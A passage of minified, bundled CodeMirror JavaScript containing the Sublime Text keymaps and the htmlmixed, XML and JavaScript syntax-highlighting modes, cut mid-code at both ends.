Cmd-J":"unfoldAll","Ctrl-Shift-Up":"addCursorToPrevLine","Ctrl-Shift-Down":"addCursorToNextLine","Cmd-F3":"findUnder","Shift-Cmd-F3":"findUnderPrevious","Alt-F3":"findAllUnder","Shift-Cmd-[":"fold","Shift-Cmd-]":"unfold","Cmd-I":"findIncremental","Shift-Cmd-I":"findIncrementalReverse","Cmd-H":"replace",F3:"findNext","Shift-F3":"findPrev",fallthrough:"macDefault"},e.normalizeKeyMap(h.macSublime),h.pcSublime={"Shift-Tab":"indentLess","Shift-Ctrl-K":"deleteLine","Alt-Q":"wrapLines","Ctrl-T":"transposeChars","Alt-Left":"goSubwordLeft","Alt-Right":"goSubwordRight","Ctrl-Up":"scrollLineUp","Ctrl-Down":"scrollLineDown","Ctrl-L":"selectLine","Shift-Ctrl-L":"splitSelectionByLine",Esc:"singleSelectionTop","Ctrl-Enter":"insertLineAfter","Shift-Ctrl-Enter":"insertLineBefore","Ctrl-D":"selectNextOccurrence","Shift-Ctrl-Space":"selectScope","Shift-Ctrl-M":"selectBetweenBrackets","Ctrl-M":"goToBracket","Shift-Ctrl-Up":"swapLineUp","Shift-Ctrl-Down":"swapLineDown","Ctrl-/":"toggleCommentIndented","Ctrl-J":"joinLines","Shift-Ctrl-D":"duplicateLine",F9:"sortLines","Ctrl-F9":"sortLinesInsensitive",F2:"nextBookmark","Shift-F2":"prevBookmark","Ctrl-F2":"toggleBookmark","Shift-Ctrl-F2":"clearBookmarks","Alt-F2":"selectBookmarks",Backspace:"smartBackspace","Ctrl-K Ctrl-D":"skipAndSelectNextOccurrence","Ctrl-K Ctrl-K":"delLineRight","Ctrl-K Ctrl-U":"upcaseAtCursor","Ctrl-K Ctrl-L":"downcaseAtCursor","Ctrl-K Ctrl-Space":"setSublimeMark","Ctrl-K Ctrl-A":"selectToSublimeMark","Ctrl-K Ctrl-W":"deleteToSublimeMark","Ctrl-K Ctrl-X":"swapWithSublimeMark","Ctrl-K Ctrl-Y":"sublimeYank","Ctrl-K Ctrl-C":"showInCenter","Ctrl-K Ctrl-G":"clearBookmarks","Ctrl-K Ctrl-Backspace":"delLineLeft","Ctrl-K Ctrl-1":"foldAll","Ctrl-K Ctrl-0":"unfoldAll","Ctrl-K Ctrl-J":"unfoldAll","Ctrl-Alt-Up":"addCursorToPrevLine","Ctrl-Alt-Down":"addCursorToNextLine","Ctrl-F3":"findUnder","Shift-Ctrl-F3":"findUnderPrevious","Alt-F3":"findAllUnder","Shift-Ctrl-[":"fold","Shift-Ctrl-]":"unfold","Ctrl-I":"findIncremental","Shift-Ctrl-I":"findIncrementalReverse","Ctrl-H":"replace",F3:"findNext","Shift-F3":"findPrev",fallthrough:"pcDefault"},e.normalizeKeyMap(h.pcSublime);var m=h.default==h.macDefault;h.sublime=m?h.macSublime:h.pcSublime}(n(1276),n(1295),n(1316))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t={script:[["lang",/(javascript|babel)/i,"javascript"],["type",/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i,"javascript"],["type",/./,"text/plain"],[null,null,"javascript"]],style:[["lang",/^css$/i,"css"],["type",/^(text\/)?(x-)?(stylesheet|css)$/i,"css"],["type",/./,"text/plain"],[null,null,"css"]]},n={};function o(e,t){var o=e.match(function(e){var t=n[e];return t||(n[e]=new RegExp("\\s+"+e+"\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*"))}(t));return o?/^\s*(.*?)\s*$/.exec(o[2])[1]:""}function r(e,t){return new RegExp((t?"^":"")+"</s*"+e+"s*>","i")}function i(e,t){for(var n in e)for(var o=t[n]||(t[n]=[]),r=e[n],i=r.length-1;i>=0;i--)o.unshift(r[i])}e.defineMode("htmlmixed",function(n,a){var s=e.getMode(n,{name:"xml",htmlMode:!0,multilineTagIndentFactor:a.multilineTagIndentFactor,multilineTagIndentPastTag:a.multilineTagIndentPastTag}),l={},u=a&&a.tags,c=a&&a.scriptTypes;if(i(t,l),u&&i(u,l),c)for(var d=c.length-1;d>=0;d--)l.script.unshift(["type",c[d].matches,c[d].mode]);function p(t,i){var a,u=s.token(t,i.htmlState),c=/\btag\b/.test(u);if(c&&!/[<>\s\/]/.test(t.current())&&(a=i.htmlState.tagName&&i.htmlState.tagName.toLowerCase())&&l.hasOwnProperty(a))i.inTag=a+" ";else if(i.inTag&&c&&/>$/.test(t.current())){var d=/^([\S]+) (.*)/.exec(i.inTag);i.inTag=null;var f=">"==t.current()&&function(e,t){for(var n=0;n<e.length;n++){var r=e[n];if(!r[0]||r[1].test(o(t,r[0])))return r[2]}}(l[d[1]],d[2]),h=e.getMode(n,f),m=r(d[1],!0),g=r(d[1],!1);i.token=function(e,t){return e.match(m,!1)?(t.token=p,t.localState=t.localMode=null,null):function(e,t,n){var o=e.current(),r=o.search(t);return r>-1?e.backUp(o.length-r):o.match(/<\/?$/)&&(e.backUp(o.length),e.match(t,!1)||e.match(o)),n}(e,g,t.localMode.token(e,t.localState))},i.localMode=h,i.localState=e.startState(h,s.indent(i.htmlState,"",""))}else i.inTag&&(i.inTag+=t.current(),t.eol()&&(i.inTag+=" "));return u}return{startState:function(){var t=e.startState(s);return{token:p,inTag:null,localMode:null,localState:null,htmlState:t}},copyState:function(t){var n;return t.localState&&(n=e.copyState(t.localMode,t.localState)),{token:t.token,inTag:t.inTag,localMode:t.localMode,localState:n,htmlState:e.copyState(s,t.htmlState)}},token:function(e,t){return t.token(e,t)},indent:function(t,n,o){return!t.localMode||/^\s*<\//.test(n)?s.indent(t.htmlState,n,o):t.localMode.indent?t.localMode.indent(t.localState,n,o):e.Pass},innerMode:function(e){return{state:e.localState||e.htmlState,mode:e.localMode||s}}}},"xml","javascript","css"),e.defineMIME("text/html","htmlmixed")}(n(1276),n(1397),n(1398),n(1296))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t={autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0},n={autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,allowMissingTagName:!1,caseFold:!1};e.defineMode("xml",function(o,r){var i,a,s=o.indentUnit,l={},u=r.htmlMode?t:n;for(var c in u)l[c]=u[c];for(var c in r)l[c]=r[c];function d(e,t){function n(n){return t.tokenize=n,n(e,t)}var o=e.next();return"<"==o?e.eat("!")?e.eat("[")?e.match("CDATA[")?n(f("atom","]]>")):null:e.match("--")?n(f("comment","--\x3e")):e.match("DOCTYPE",!0,!0)?(e.eatWhile(/[\w\._\-]/),n(function e(t){return function(n,o){for(var r;null!=(r=n.next());){if("<"==r)return o.tokenize=e(t+1),o.tokenize(n,o);if(">"==r){if(1==t){o.tokenize=d;break}return o.tokenize=e(t-1),o.tokenize(n,o)}}return"meta"}}(1))):null:e.eat("?")?(e.eatWhile(/[\w\._\-]/),t.tokenize=f("meta","?>"),"meta"):(i=e.eat("/")?"closeTag":"openTag",t.tokenize=p,"tag bracket"):"&"==o?(e.eat("#")?e.eat("x")?e.eatWhile(/[a-fA-F\d]/)&&e.eat(";"):e.eatWhile(/[\d]/)&&e.eat(";"):e.eatWhile(/[\w\.\-:]/)&&e.eat(";"))?"atom":"error":(e.eatWhile(/[^&<]/),null)}function p(e,t){var n,o,r=e.next();if(">"==r||"/"==r&&e.eat(">"))return t.tokenize=d,i=">"==r?"endTag":"selfcloseTag","tag bracket";if("="==r)return i="equals",null;if("<"==r){t.tokenize=d,t.state=v,t.tagName=t.tagStart=null;var a=t.tokenize(e,t);return a?a+" tag error":"tag error"}return/[\'\"]/.test(r)?(t.tokenize=(n=r,(o=function(e,t){for(;!e.eol();)if(e.next()==n){t.tokenize=p;break}return"string"}).isInAttribute=!0,o),t.stringStartCol=e.column(),t.tokenize(e,t)):(e.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/),"word")}function f(e,t){return function(n,o){for(;!n.eol();){if(n.match(t)){o.tokenize=d;break}n.next()}return e}}function h(e,t,n){this.prev=e.context,this.tagName=t,this.indent=e.indented,this.startOfLine=n,(l.doNotIndent.hasOwnProperty(t)||e.context&&e.context.noIndent)&&(this.noIndent=!0)}function m(e){e.context&&(e.context=e.context.prev)}function g(e,t){for(var n;;){if(!e.context)return;if(n=e.context.tagName,!l.contextGrabbers.hasOwnProperty(n)||!l.contextGrabbers[n].hasOwnProperty(t))return;m(e)}}function v(e,t,n){return"openTag"==e?(n.tagStart=t.column(),b):"closeTag"==e?y:v}function b(e,t,n){return"word"==e?(n.tagName=t.current(),a="tag",w):l.allowMissingTagName&&"endTag"==e?(a="tag bracket",w(e,0,n)):(a="error",b)}function y(e,t,n){if("word"==e){var o=t.current();return n.context&&n.context.tagName!=o&&l.implicitlyClosed.hasOwnProperty(n.context.tagName)&&m(n),n.context&&n.context.tagName==o||!1===l.matchClosing?(a="tag",_):(a="tag error",k)}return l.allowMissingTagName&&"endTag"==e?(a="tag bracket",_(e,0,n)):(a="error",k)}function _(e,t,n){return"endTag"!=e?(a="error",_):(m(n),v)}function k(e,t,n){return a="error",_(e,0,n)}function w(e,t,n){if("word"==e)return a="attribute",C;if("endTag"==e||"selfcloseTag"==e){var o=n.tagName,r=n.tagStart;return n.tagName=n.tagStart=null,"selfcloseTag"==e||l.autoSelfClosers.hasOwnProperty(o)?g(n,o):(g(n,o),n.context=new h(n,o,r==n.indented)),v}return a="error",w}function C(e,t,n){return"equals"==e?E:(l.allowMissing||(a="error"),w(e,0,n))}function E(e,t,n){return"string"==e?O:"word"==e&&l.allowUnquoted?(a="string",w):(a="error",w(e,0,n))}function O(e,t,n){return"string"==e?O:w(e,0,n)}return d.isInText=!0,{startState:function(e){var t={tokenize:d,state:v,indented:e||0,tagName:null,tagStart:null,context:null};return null!=e&&(t.baseIndent=e),t},token:function(e,t){if(!t.tagName&&e.sol()&&(t.indented=e.indentation()),e.eatSpace())return null;i=null;var n=t.tokenize(e,t);return(n||i)&&"comment"!=n&&(a=null,t.state=t.state(i||n,e,t),a&&(n="error"==a?n+" error":a)),n},indent:function(t,n,o){var r=t.context;if(t.tokenize.isInAttribute)return t.tagStart==t.indented?t.stringStartCol+1:t.indented+s;if(r&&r.noIndent)return e.Pass;if(t.tokenize!=p&&t.tokenize!=d)return o?o.match(/^(\s*)/)[0].length:0;if(t.tagName)return!1!==l.multilineTagIndentPastTag?t.tagStart+t.tagName.length+2:t.tagStart+s*(l.multilineTagIndentFactor||1);if(l.alignCDATA&&/<!\[CDATA\[/.test(n))return 0;var i=n&&/^<(\/)?([\w_:\.-]*)/.exec(n);if(i&&i[1])for(;r;){if(r.tagName==i[2]){r=r.prev;break}if(!l.implicitlyClosed.hasOwnProperty(r.tagName))break;r=r.prev}else if(i)for(;r;){var a=l.contextGrabbers[r.tagName];if(!a||!a.hasOwnProperty(i[2]))break;r=r.prev}for(;r&&r.prev&&!r.startOfLine;)r=r.prev;return r?r.indent+s:t.baseIndent||0},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"\x3c!--",blockCommentEnd:"--\x3e",configuration:l.htmlMode?"html":"xml",helperType:l.htmlMode?"html":"xml",skipAttribute:function(e){e.state==E&&(e.state=w)},xmlCurrentTag:function(e){return e.tagName?{name:e.tagName,close:"closeTag"==e.type}:null},xmlCurrentContext:function(e){for(var t=[],n=e.context;n;n=n.prev)n.tagName&&t.push(n.tagName);return t.reverse()}}}),e.defineMIME("text/xml","xml"),e.defineMIME("application/xml","xml"),e.mimeModes.hasOwnProperty("text/html")||e.defineMIME("text/html",{name:"xml",htmlMode:!0})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";e.defineMode("javascript",function(t,n){var o,r,i=t.indentUnit,a=n.statementIndent,s=n.jsonld,l=n.json||s,u=n.typescript,c=n.wordCharacters||/[\w$\xa1-\uffff]/,d=function(){function e(e){return{type:e,style:"keyword"}}var t=e("keyword a"),n=e("keyword b"),o=e("keyword c"),r=e("keyword d"),i=e("operator"),a={type:"atom",style:"atom"};return{if:e("if"),while:t,with:t,else:n,do:n,try:n,finally:n,return:r,break:r,continue:r,new:e("new"),delete:o,void:o,throw:o,debugger:e("debugger"),var:e("var"),const:e("var"),let:e("var"),function:e("function"),catch:e("catch"),for:e("for"),switch:e("switch"),case:e("case"),default:e("default"),in:i,typeof:i,instanceof:i,true:a,false:a,null:a,undefined:a,NaN:a,Infinity:a,this:e("this"),class:e("class"),super:e("atom"),yield:o,export:e("export"),import:e("import"),extends:o,await:o}}(),p=/[+\-*&%=<>!?|~^@]/,f=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function h(e,t,n){return o=e,r=n,t}function m(e,t){var n,o=e.next();if('"'==o||"'"==o)return t.tokenize=(n=o,function(e,t){var o,r=!1;if(s&&"@"==e.peek()&&e.match(f))return t.tokenize=m,h("jsonld-keyword","meta");for(;null!=(o=e.next())&&(o!=n||r);)r=!r&&"\\"==o;return r||(t.tokenize=m),h("string","string")}),t.tokenize(e,t);if("."==o&&e.match(/^\d[\d_]*(?:[eE][+\-]?[\d_]+)?/))return h("number","number");if("."==o&&e.match(".."))return h("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(o))return h(o);if("="==o&&e.eat(">"))return h("=>","operator");if("0"==o&&e.match(/^(?:x[\dA-Fa-f_]+|o[0-7_]+|b[01_]+)n?/))return h("number","number");if(/\d/.test(o))return e.match(/^[\d_]*(?:n|(?:\.[\d_]*)?(?:[eE][+\-]?[\d_]+)?)?/),h("number","number");if("/"==o)return e.eat("*")?(t.tokenize=g,g(e,t)):e.eat("/")?(e.skipToEnd(),h("comment","comment")):$e(e,t,1)?(function(e){for(var t,n=!1,o=!1;null!=(t=e.next());){if(!n){if("/"==t&&!o)return;"["==t?o=!0:o&&"]"==t&&(o=!1)}n=!n&&"\\"==t}}(e),e.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/),h("regexp","string-2")):(e.eat("="),h("operator","operator",e.current()));if("`"==o)return t.tokenize=v,v(e,t);if("#"==o&&"!"==e.peek())return e.skipToEnd(),h("meta","meta");if("#"==o&&e.eatWhile(c))return h("variable","property");if("<"==o&&e.match("!--")||"-"==o&&e.match("->")&&!/\S/.test(e.string.slice(0,e.start)))return e.skipToEnd(),h("comment","comment");if(p.test(o))return">"==o&&t.lexical&&">"==t.lexical.type||(e.eat("=")?"!"!=o&&"="!=o||e.eat("="):/[<>*+\-|&?]/.test(o)&&(e.eat(o),">"==o&&e.eat(o))),"?"==o&&e.eat(".")?h("."):h("operator","operator",e.current());if(c.test(o)){e.eatWhile(c);var r=e.current();if("."!=t.lastType){if(d.propertyIsEnumerable(r)){var i=d[r];return h(i.type,i.style,r)}if("async"==r&&e.match(/^(\s|\/\*([^*]|\*(?!\/))*?\*\/)*[\[\(\w]/,!1))return h("async","keyword",r)}return h("variable","variable",r)}}function g(e,t){for(var n,o=!1;n=e.next();){if("/"==n&&o){t.tokenize=m;break}o="*"==n}return h("comment","comment")}function v(e,t){for(var n,o=!1;null!=(n=e.next());){if(!o&&("`"==n||"$"==n&&e.eat("{"))){t.tokenize=m;break}o=!o&&"\\"==n}return h("quasi","string-2",e.current())}var b="([{}])";function y(e,t){t.fatArrowAt&&(t.fatArrowAt=null);var n=e.string.indexOf("=>",e.start);if(!(n<0)){if(u){var o=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(e.string.slice(e.start,n));o&&(n=o.index)}for(var r=0,i=!1,a=n-1;a>=0;--a){var s=e.string.charAt(a),l=b.indexOf(s);if(l>=0&&l<3){if(!r){++a;break}if(0==--r){"("==s&&(i=!0);break}}else if(l>=3&&l<6)++r;else if(c.test(s))i=!0;else if(/["'\/`]/.test(s))for(;;--a){if(0==a)return;var d=e.string.charAt(a-1);if(d==s&&"\\"!=e.string.charAt(a-2)){a--;break}}else if(i&&!r){++a;break}}i&&!r&&(t.fatArrowAt=a)}}var _={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,this:!0,"jsonld-keyword":!0};function k(e,t,n,o,r,i){this.indented=e,this.column=t,this.type=n,this.prev=r,this.info=i,null!=o&&(this.align=o)}function w(e,t){for(var n=e.localVars;n;n=n.next)if(n.name==t)return!0;for(var o=e.context;o;o=o.prev)for(var n=o.vars;n;n=n.next)if(n.name==t)return!0}var C={state:null,column:null,marked:null,cc:null};function E(){for(var e=arguments.length-1;e>=0;e--)C.cc.push(arguments[e])}function O(){return E.apply(null,arguments),!0}function S(e,t){for(var n=t;n;n=n.next)if(n.name==e)return!0;return!1}function T(e){var t=C.state;if(C.marked="def",t.context)if("var"==t.lexical.info&&t.context&&t.context.block){var o=function e(t,n){if(n){if(n.block){var o=e(t,n.prev);return o?o==n.prev?n:new x(o,n.vars,!0):null}return S(t,n.vars)?n:new x(n.prev,new P(t,n.vars),!1)}return null}(e,t.context);if(null!=o)return void(t.context=o)}else if(!S(e,t.localVars))return void(t.localVars=new P(e,t.localVars));n.globalVars&&!S(e,t.globalVars)&&(t.globalVars=new P(e,t.globalVars))}function M(e){return"public"==e||"private"==e||"protected"==e||"abstract"==e||"readonly"==e}function x(e,t,n){this.prev=e,this.vars=t,this.block=n}function P(e,t){this.name=e,this.next=t}var j=new P("this",new P("arguments",null));function L(){C.state.context=new x(C.state.context,C.state.localVars,!1),C.state.localVars=j}function N(){C.state.context=new x(C.state.context,C.state.localVars,!0),C.state.localVars=null}function D(){C.state.localVars=C.state.context.vars,C.state.context=C.state.context.prev}function A(e,t){var n=function(){var n=C.state,o=n.indented;if("stat"==n.lexical.type)o=n.lexical.indented;else for(var r=n.lexical;r&&")"==r.type&&r.align;r=r.prev)o=r.indented;n.lexical=new k(o,C.stream.column(),e,null,n.lexical,t)};return n.lex=!0,n}function F(){var e=C.state;e.lexical.prev&&(")"==e.lexical.type&&(e.indented=e.lexical.indented),e.lexical=e.lexical.prev)}function I(e){return function t(n){return n==e?O():";"==e||"}"==n||")"==n||"]"==n?E():O(t)}}function R(e,t){return"var"==e?O(A("vardef",t),ye,I(";"),F):"keyword a"==e?O(A("form"),H,R,F):"keyword b"==e?O(A("form"),R,F):"keyword d"==e?C.stream.match(/^\s*$/,!1)?O():O(A("stat"),U,I(";"),F):"debugger"==e?O(I(";")):"{"==e?O(A("}"),N,ae,F,D):";"==e?O():"if"==e?("else"==C.state.lexical.info&&C.state.cc[C.state.cc.length-1]==F&&C.state.cc.pop()(),O(A("form"),H,R,F,Oe)):"function"==e?O(xe):"for"==e?O(A("form"),Se,R,F):"class"==e||u&&"interface"==t?(C.marked="keyword",O(A("form","class"==e?e:t),De,F)):"variable"==e?u&&"declare"==t?(C.marked="keyword",O(R)):u&&("module"==t||"enum"==t||"type"==t)&&C.stream.match(/^\s*\w/,!1)?(C.marked="keyword","enum"==t?O(qe):"type"==t?O(je,I("operator"),de,I(";")):O(A("form"),_e,I("{"),A("}"),ae,F,F)):u&&"namespace"==t?(C.marked="keyword",O(A("form"),W,R,F)):u&&"abstract"==t?(C.marked="keyword",O(R)):O(A("stat"),Z):"switch"==e?O(A("form"),H,I("{"),A("}","switch"),N,ae,F,F,D):"case"==e?O(W,I(":")):"default"==e?O(I(":")):"catch"==e?O(A("form"),L,B,R,F,D):"export"==e?O(A("stat"),Re,F):"import"==e?O(A("stat"),We,F):"async"==e?O(R):"@"==t?O(W,R):E(A("stat"),W,I(";"),F)}function B(e){if("("==e)return O(Le,I(")"))}function W(e,t){return G(e,t,!1)}function V(e,t){return G(e,t,!0)}function H(e){return"("!=e?E():O(A(")"),U,I(")"),F)}function G(e,t,n){if(C.state.fatArrowAt==C.stream.start){var o=n?Y:X;if("("==e)return O(L,A(")"),re(Le,")"),F,I("=>"),o,D);if("variable"==e)return E(L,_e,I("=>"),o,D)}var r=n?q:z;return _.hasOwnProperty(e)?O(r):"function"==e?O(xe,r):"class"==e||u&&"interface"==t?(C.marked="keyword",O(A("form"),Ne,F)):"keyword c"==e||"async"==e?O(n?V:W):"("==e?O(A(")"),U,I(")"),F,r):"operator"==e||"spread"==e?O(n?V:W):"["==e?O(A("]"),ze,F,r):"{"==e?ie(te,"}",null,r):"quasi"==e?E(K,r):"new"==e?O(function(e){return function(t){return"."==t?O(e?Q:J):"variable"==t&&u?O(ge,e?q:z):E(e?V:W)}}(n)):"import"==e?O(W):O()}function U(e){return e.match(/[;\}\)\],]/)?E():E(W)}function z(e,t){return","==e?O(U):q(e,t,!1)}function q(e,t,n){var o=0==n?z:q,r=0==n?W:V;return"=>"==e?O(L,n?Y:X,D):"operator"==e?/\+\+|--/.test(t)||u&&"!"==t?O(o):u&&"<"==t&&C.stream.match(/^([^<>]|<[^<>]*>)*>\s*\(/,!1)?O(A(">"),re(de,">"),F,o):"?"==t?O(W,I(":"),r):O(r):"quasi"==e?E(K,o):";"!=e?"("==e?ie(V,")","call",o):"."==e?O(ee,o):"["==e?O(A("]"),U,I("]"),F,o):u&&"as"==t?(C.marked="keyword",O(de,o)):"regexp"==e?(C.state.lastType=C.marked="operator",C.stream.backUp(C.stream.pos-C.stream.start-1),O(r)):void 0:void 0}function K(e,t){return"quasi"!=e?E():"${"!=t.slice(t.length-2)?O(K):O(W,$)}function $(e){if("}"==e)return C.marked="string-2",C.state.tokenize=v,O(K)}function X(e){return y(C.stream,C.state),E("{"==e?R:W)}function Y(e){return y(C.stream,C.state),E("{"==e?R:V)}function J(e,t){if("target"==t)return C.marked="keyword",O(z)}function Q(e,t){if("target"==t)return C.marked="keyword",O(q)}function Z(e){return":"==e?O(F,R):E(z,I(";"),F)}function ee(e){if("variable"==e)return C.marked="property",O()}function te(e,t){return"async"==e?(C.marked="property",O(te)):"variable"==e||"keyword"==C.style?(C.marked="property","get"==t||"set"==t?O(ne):(u&&C.state.fatArrowAt==C.stream.start&&(n=C.stream.match(/^\s*:\s*/,!1))&&(C.state.fatArrowAt=C.stream.pos+n[0].length),O(oe))):"number"==e||"string"==e?(C.marked=s?"property":C.style+" property",O(oe)):"jsonld-keyword"==e?O(oe):u&&M(t)?(C.marked="keyword",O(te)):"["==e?O(W,se,I("]"),oe):"spread"==e?O(V,oe):"*"==t?(C.marked="keyword",O(te)):":"==e?E(oe):void 0;var n}function ne(e){return"variable"!=e?E(oe):(C.marked="property",O(xe))}function oe(e){return":"==e?O(V):"("==e?E(xe):void 0}function re(e,t,n){function o(r,i){if(n?n.indexOf(r)>-1:","==r){var a=C.state.lexical;return"call"==a.info&&(a.pos=(a.pos||0)+1),O(function(n,o){return n==t||o==t?E():E(e)},o)}return r==t||i==t?O():n&&n.indexOf(";")>-1?E(e):O(I(t))}return function(n,r){return n==t||r==t?O():E(e,o)}}function ie(e,t,n){for(var o=3;o<arguments.length;o++)C.cc.push(arguments[o]);return O(A(t,n),re(e,t),F)}function ae(e){return"}"==e?O():E(R,ae)}function se(e,t){if(u){if(":"==e)return O(de);if("?"==t)return O(se)}}function le(e,t){if(u&&(":"==e||"in"==t))return O(de)}function ue(e){if(u&&":"==e)return C.stream.match(/^\s*\w+\s+is\b/,!1)?O(W,ce,de):O(de)}function ce(e,t){if("is"==t)return C.marked="keyword",O()}function de(e,t){return"keyof"==t||"typeof"==t||"infer"==t?(C.marked="keyword",O("typeof"==t?V:de)):"variable"==e||"void"==t?(C.marked="type",O(me)):"|"==t||"&"==t?O(de):"string"==e||"number"==e||"atom"==e?O(me):"["==e?O(A("]"),re(de,"]",","),F,me):"{"==e?O(A("}"),re(fe,"}",",;"),F,me):"("==e?O(re(he,")"),pe,me):"<"==e?O(re(de,">"),de):void 0}function pe(e){if("=>"==e)return O(de)}function fe(e,t){return"variable"==e||"keyword"==C.style?(C.marked="property",O(fe)):"?"==t||"number"==e||"string"==e?O(fe):":"==e?O(de):"["==e?O(I("variable"),le,I("]"),fe):"("==e?E(Pe,fe):void 0}function he(e,t){return"variable"==e&&C.stream.match(/^\s*[?:]/,!1)||"?"==t?O(he):":"==e?O(de):"spread"==e?O(he):E(de)}function me(e,t){return"<"==t?O(A(">"),re(de,">"),F,me):"|"==t||"."==e||"&"==t?O(de):"["==e?O(de,I("]"),me):"extends"==t||"implements"==t?(C.marked="keyword",O(de)):"?"==t?O(de,I(":"),de):void 0}function ge(e,t){if("<"==t)return O(A(">"),re(de,">"),F,me)}function ve(){return E(de,be)}function be(e,t){if("="==t)return O(de)}function ye(e,t){return"enum"==t?(C.marked="keyword",O(qe)):E(_e,se,Ce,Ee)}function _e(e,t){return u&&M(t)?(C.marked="keyword",O(_e)):"variable"==e?(T(t),O()):"spread"==e?O(_e):"["==e?ie(we,"]"):"{"==e?ie(ke,"}"):void 0}function ke(e,t){return"variable"!=e||C.stream.match(/^\s*:/,!1)?("variable"==e&&(C.marked="property"),"spread"==e?O(_e):"}"==e?E():"["==e?O(W,I("]"),I(":"),ke):O(I(":"),_e,Ce)):(T(t),O(Ce))}function we(){return E(_e,Ce)}function Ce(e,t){if("="==t)return O(V)}function Ee(e){if(","==e)return O(ye)}function Oe(e,t){if("keyword b"==e&&"else"==t)return O(A("form","else"),R,F)}function Se(e,t){return"await"==t?O(Se):"("==e?O(A(")"),Te,F):void 0}function Te(e){return"var"==e?O(ye,Me):"variable"==e?O(Me):E(Me)}function Me(e,t){return")"==e?O():";"==e?O(Me):"in"==t||"of"==t?(C.marked="keyword",O(W,Me)):E(W,Me)}function xe(e,t){return"*"==t?(C.marked="keyword",O(xe)):"variable"==e?(T(t),O(xe)):"("==e?O(L,A(")"),re(Le,")"),F,ue,R,D):u&&"<"==t?O(A(">"),re(ve,">"),F,xe):void 0}function Pe(e,t){return"*"==t?(C.marked="keyword",O(Pe)):"variable"==e?(T(t),O(Pe)):"("==e?O(L,A(")"),re(Le,")"),F,ue,D):u&&"<"==t?O(A(">"),re(ve,">"),F,Pe):void 0}function je(e,t){return"keyword"==e||"variable"==e?(C.marked="type",O(je)):"<"==t?O(A(">"),re(ve,">"),F):void 0}function Le(e,t){return"@"==t&&O(W,Le),"spread"==e?O(Le):u&&M(t)?(C.marked="keyword",O(Le)):u&&"this"==e?O(se,Ce):E(_e,se,Ce)}function Ne(e,t){return"variable"==e?De(e,t):Ae(e,t)}function De(e,t){if("variable"==e)return T(t),O(Ae)}function Ae(e,t){return"<"==t?O(A(">"),re(ve,">"),F,Ae):"extends"==t||"implements"==t||u&&","==e?("implements"==t&&(C.marked="keyword"),O(u?de:W,Ae)):"{"==e?O(A("}"),Fe,F):void 0}function Fe(e,t){return"async"==e||"variable"==e&&("static"==t||"get"==t||"set"==t||u&&M(t))&&C.stream.match(/^\s+[\w$\xa1-\uffff]/,!1)?(C.marked="keyword",O(Fe)):"variable"==e||"keyword"==C.style?(C.marked="property",O(Ie,Fe)):"number"==e||"string"==e?O(Ie,Fe):"["==e?O(W,se,I("]"),Ie,Fe):"*"==t?(C.marked="keyword",O(Fe)):u&&"("==e?E(Pe,Fe):";"==e||","==e?O(Fe):"}"==e?O():"@"==t?O(W,Fe):void 0}function Ie(e,t){if("?"==t)return O(Ie);if(":"==e)return O(de,Ce);if("="==t)return O(V);var n=C.state.lexical.prev,o=n&&"interface"==n.info;return E(o?Pe:xe)}function Re(e,t){return"*"==t?(C.marked="keyword",O(Ue,I(";"))):"default"==t?(C.marked="keyword",O(W,I(";"))):"{"==e?O(re(Be,"}"),Ue,I(";")):E(R)}function Be(e,t){return"as"==t?(C.marked="keyword",O(I("variable"))):"variable"==e?E(V,Be):void 0}function We(e){return"string"==e?O():"("==e?E(W):E(Ve,He,Ue)}function Ve(e,t){return"{"==e?ie(Ve,"}"):("variable"==e&&T(t),"*"==t&&(C.marked="keyword"),O(Ge))}function He(e){if(","==e)return O(Ve,He)}function Ge(e,t){if("as"==t)return C.marked="keyword",O(Ve)}function Ue(e,t){if("from"==t)return C.marked="keyword",O(W)}function ze(e){return"]"==e?O():E(re(V,"]"))}function qe(){return E(A("form"),_e,I("{"),A("}"),re(Ke,"}"),F,F)}function Ke(){return E(_e,Ce)}function $e(e,t,n){return t.tokenize==m&&/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(t.lastType)||"quasi"==t.lastType&&/\{\s*$/.test(e.string.slice(0,e.pos-(n||0)))}return D.lex=!0,F.lex=!0,{startState:function(e){var t={tokenize:m,lastType:"sof",cc:[],lexical:new k((e||0)-i,0,"block",!1),localVars:n.localVars,context:n.localVars&&new 